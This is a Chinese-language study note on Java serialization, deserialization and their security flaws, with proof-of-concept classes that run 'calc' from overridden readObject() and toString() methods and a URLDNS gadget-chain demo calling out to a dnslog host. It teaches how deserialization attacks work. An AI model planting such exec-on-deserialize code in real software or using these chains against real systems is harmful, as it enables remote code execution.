安全学习_开发相关_Java序列化与反序列化以及相关安全问题

文章目录

    • 序列化与反序列化含义
    • 为什么有序列化技术
    • 几种创建序列化和反序列化协议
    • 出现反序列化安全问题的原因
    • 反序列化利用链(安全问题的四个方向,四种可能
  • Java-原生使用-序列化&反序列化
      • 序列化
      • 反序列化
  • 序列化安全问题-重写方法&触发方法
      • 重写方法:
      • 触发`toString()`方法
  • 序列化安全问题-可控其他类重写方法

参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

序列化与反序列化含义

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象

为什么有序列化技术

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过RMI传输对象的时候。

几种创建序列化和反序列化协议

  • JAVA内置的writeObject()/readObject()

  • JAVA内置的XMLDecoder()/XMLEncoder

第三方:

  • XStream

  • SnakeYaml

  • FastJson

  • Jackson

出现反序列化安全问题的原因

  • 内置原生写法分析

  • 重写readObject方法

  • 输出调用toString方法

反序列化利用链(安全问题的四个方向,四种可能

(1) 入口类的readObject直接调用危险方法

最好理解,实际中很少有。重写了readObject()方法,实战中很少这样搞。

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行

Java-原生使用-序列化&反序列化

需要进行Serializable序列化的类需要实现Serializable接口,才可被序列化。

序列化

public static void serializeTest(Object obj) throws Exception {
    // 将传入的obj序列化并写入到ser.txt 中
	ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
    oos.writeObject(obj);
    }

反序列化

public static Object unserializeTest(String fileName) throws Exception {
        // 将传入的文件路径对应的文件反序列化成Object对象并返回
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }

序列化安全问题-重写方法&触发方法

重写readObject()方法,触发toString()方法

重写方法:

重写readObject()方法,进行反序列化时就会执行序列化对象里的readObject方法,而不会执行原本的readObject方法。

public class User implements Serializable {
    private String name;
    private String gender;
    private Integer age;
	// ......
    /**
     * 重写了readObject方法,进行反序列化时就会执行序列化对象里的readObject方法,而不会执行原本的readObject方法。
     * @param ois
     * @throws IOException
     * @throws ClassNotFoundException
     */
    private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 指向正确的readObject
        ois.defaultReadObject();
        // 弹出calc
        Runtime.getRuntime().exec("calc");
    }
}

触发toString()方法

将命令执行代码放在toString()方法中,反序列化后输出触发了toString()方法造成命令执行。

public class User implements Serializable {
    private String name;
    private String gender;
    private Integer age;
	// ......
    @Override
    public String toString() {
        // 触发方法
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }
}

序列化安全问题-可控其他类重写方法

参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

HashMap中存储URL对象,在对HashMap对象进行序列化和反序列化时,由于HashMap本身也有readObject()方法,所以会调用HashMap自身的readObject()方法,造成调用链,最终执行了DNS解析。

public class URLDns {
    public static void main(String[] args) throws Exception {

        /*
            *   Gadget Chain:
            *     HashMap.readObject()
            *       HashMap.putVal()
            *         HashMap.hash()
            *           URL.hashCode()
            *
            若使用其他第三方库进行序列化反序列化,则失效。

         */
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://6dpbfm.dnslog.cn");
        hashMap.put(url, 1);
        serializableTest(hashMap);
        unserializableTest("hash.txt");
    }
	// 反序列化方法
    public static Object unserializableTest(String fileName) throws Exception {
        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
	// 序列化方法
    public static void serializableTest(Object obj) throws Exception {
        // 将传入的obj序列化到hash.txt 中
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hash.txt"));
        oos.writeObject(obj);
    }
}

你可能感兴趣的:(安全学习笔记_开发相关,安全,学习,java)